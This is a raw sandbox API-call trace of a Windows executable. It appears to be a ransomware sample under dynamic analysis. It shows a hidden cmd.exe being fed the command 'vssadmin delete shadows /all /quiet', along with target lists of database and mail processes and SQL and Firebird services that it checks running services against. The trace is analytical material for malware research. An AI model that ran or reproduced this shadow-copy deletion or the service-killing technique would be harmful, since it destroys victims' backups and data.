0x6ad8b8 [0217.134] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad8b8, Size=0x40) returned 0x687748 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c1d0 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d67b8 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6710 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5e68 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6848 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c110 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6650 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685688 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6867e8 | out: hHeap=0x670000) returned 1 [0217.134] lstrlenW (lpString="%systemdrive%") returned 13 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad638 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5098 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c1e0 | out: hHeap=0x670000) returned 1 [0217.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6fc030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0217.135] WaitForMultipleObjects (nCount=0x2, lpHandles=0x68bad0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0282.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68bad0 | out: hHeap=0x670000) returned 1 [0282.470] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0282.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6874c0 | out: hHeap=0x670000) returned 1 [0282.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113a40 [0282.471] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113a40, Size=0x20) returned 0x41aab50 [0282.471] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41aab50, Size=0x40) returned 0x4116920 [0282.471] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4116920, Size=0x80) returned 0x6f5de0 [0282.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.471] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aadd0 [0282.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1fffc) returned 0x71dfe8 [0282.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4101060 [0282.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41658b8 [0282.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b60 [0282.472] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b60, Size=0x20) returned 0x41aac18 [0282.472] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41aac18, Size=0x40) returned 0x4116cc8 [0282.473] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4116cc8, Size=0x80) returned 0x6f52b8 [0282.473] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f52b8, Size=0x100) returned 0x42d1530 [0282.473] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d1530 | out: hHeap=0x670000) returned 1 [0282.473] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4101060, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0282.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0282.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0282.474] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x300, hWritePipe=0x19fd54*=0x408) returned 1 [0282.474] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x380, hWritePipe=0x19fdc4*=0x544) returned 1 [0282.474] SetHandleInformation (hObject=0x408, dwMask=0x1, dwFlags=0x0) returned 1 [0282.474] SetHandleInformation (hObject=0x380, dwMask=0x1, dwFlags=0x0) returned 1 [0282.474] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x300, hStdOutput=0x544, hStdError=0x544), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x540, hThread=0x338, dwProcessId=0x438, dwThreadId=0x440)) returned 1 [0282.490] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0282.490] WriteFile (in: hFile=0x408, lpBuffer=0x6f5de0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6f5de0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0282.490] CloseHandle (hObject=0x540) returned 1 [0282.490] CloseHandle (hObject=0x338) returned 1 [0282.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x71dfe8 | out: hHeap=0x670000) returned 1 [0282.491] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0282.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5de0 | out: hHeap=0x670000) returned 1 [0282.491] lstrlenW (lpString="%comspec%") returned 9 [0282.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadd0 | out: hHeap=0x670000) returned 1 [0282.491] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0282.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6860e8 | out: hHeap=0x670000) returned 1 [0282.491] ExitProcess (uExitCode=0x0) Thread: id = 30 os_tid = 0xdac Thread: id = 32 os_tid = 0xdb8 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6d6668 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6668, Size=0x20) returned 0x6ad4f8 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad4f8, Size=0x40) returned 0x687628 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687628, Size=0x80) returned 0x6f5c48 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5c48, Size=0x100) returned 0x6f86a8 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6d6668 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6668, Size=0x20) returned 0x6ad570 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad570, Size=0x40) returned 0x6875e0 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6875e0, Size=0x80) returned 0x6f5c48 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5c48, Size=0x100) returned 0x6b3928 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6d6668 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x70c1c0 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6d6680 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x8) returned 0x70c1f0 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x6866c8 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1f0, Size=0x10) returned 0x6d66b0 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x6866e8 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1a) returned 0x6ad868 [0217.081] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d66b0, Size=0x20) returned 0x6ad688 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x6ad520 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16) returned 0x686508 [0217.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1a) returned 0x6ad700 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6d66b0 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x70c1c0 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x687868 [0217.082] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x8) returned 0x70c0c0 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x3c) returned 0x6875e0 [0217.082] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0c0, Size=0x10) returned 0x6c59e8 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x686708 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x686728 [0217.082] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c59e8, Size=0x20) returned 0x6ad890 [0217.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x24) returned 0x685508 [0217.082] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0217.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f86a8 | out: hHeap=0x670000) returned 1 [0217.082] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0217.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3928 | out: hHeap=0x670000) returned 1 [0217.082] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad7c8 [0217.083] EnumServicesStatusExW (in: hSCManager=0x6ad7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0217.083] GetLastError () returned 0xea [0217.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ae2) returned 0x6c5ff0 [0217.084] EnumServicesStatusExW (in: hSCManager=0x6ad7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6c5ff0, cbBufSize=0x1ae2, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6c5ff0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0217.084] CloseServiceHandle (hSCObject=0x6ad7c8) returned 1 [0217.085] lstrlenW (lpString="AppXSvc") returned 7 [0217.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0217.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0217.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0217.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0217.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0217.085] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.085] lstrlenW (lpString="Audiosrv") returned 8 [0217.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0217.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0217.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0217.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0217.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0217.085] lstrlenW (lpString="BFE") returned 3 [0217.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.085] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.085] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.085] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0217.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.085] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0217.085] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0217.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0217.086] lstrlenW (lpString="CDPSvc") returned 6 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0217.086] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0217.086] lstrlenW (lpString="ClickToRunSvc") returned 13 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0217.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0217.086] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0217.086] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0217.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0217.086] lstrlenW (lpString="CryptSvc") returned 8 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.086] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.086] lstrlenW (lpString="DcomLaunch") returned 10 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.086] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.086] lstrlenW (lpString="DeviceAssociationService") returned 24 [0217.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.086] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0217.087] lstrlenW (lpString="Dhcp") returned 4 [0217.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.087] lstrlenW (lpString="Dnscache") returned 8 [0217.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.087] lstrlenW (lpString="DPS") returned 3 [0217.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.087] lstrlenW (lpString="DusmSvc") returned 7 [0217.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0217.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0217.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0217.087] lstrlenW (lpString="EventLog") returned 8 [0217.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0217.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0217.087] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0217.087] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0217.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0217.087] lstrlenW (lpString="EventSystem") returned 11 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.088] lstrlenW (lpString="FontCache") returned 9 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.088] lstrlenW (lpString="gpsvc") returned 5 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.088] lstrlenW (lpString="iphlpsvc") returned 8 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.088] lstrlenW (lpString="KeyIso") returned 6 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0217.088] lstrlenW (lpString="LanmanServer") returned 12 [0217.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.088] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.088] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.089] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.089] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.089] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.089] lstrlenW (lpString="lfsvc") returned 5 [0217.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0217.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0217.089] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0217.089] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0217.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0217.089] lstrlenW (lpString="lmhosts") returned 7 [0217.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.089] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.089] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.089] lstrlenW (lpString="LSM") returned 3 [0217.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0217.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0217.089] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0217.089] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0217.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0217.090] lstrlenW (lpString="MpsSvc") returned 6 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.090] lstrlenW (lpString="NcbService") returned 10 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0217.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0217.090] lstrlenW (lpString="netprofm") returned 8 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.090] lstrlenW (lpString="NgcSvc") returned 6 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0217.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0217.090] lstrlenW (lpString="NlaSvc") returned 6 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 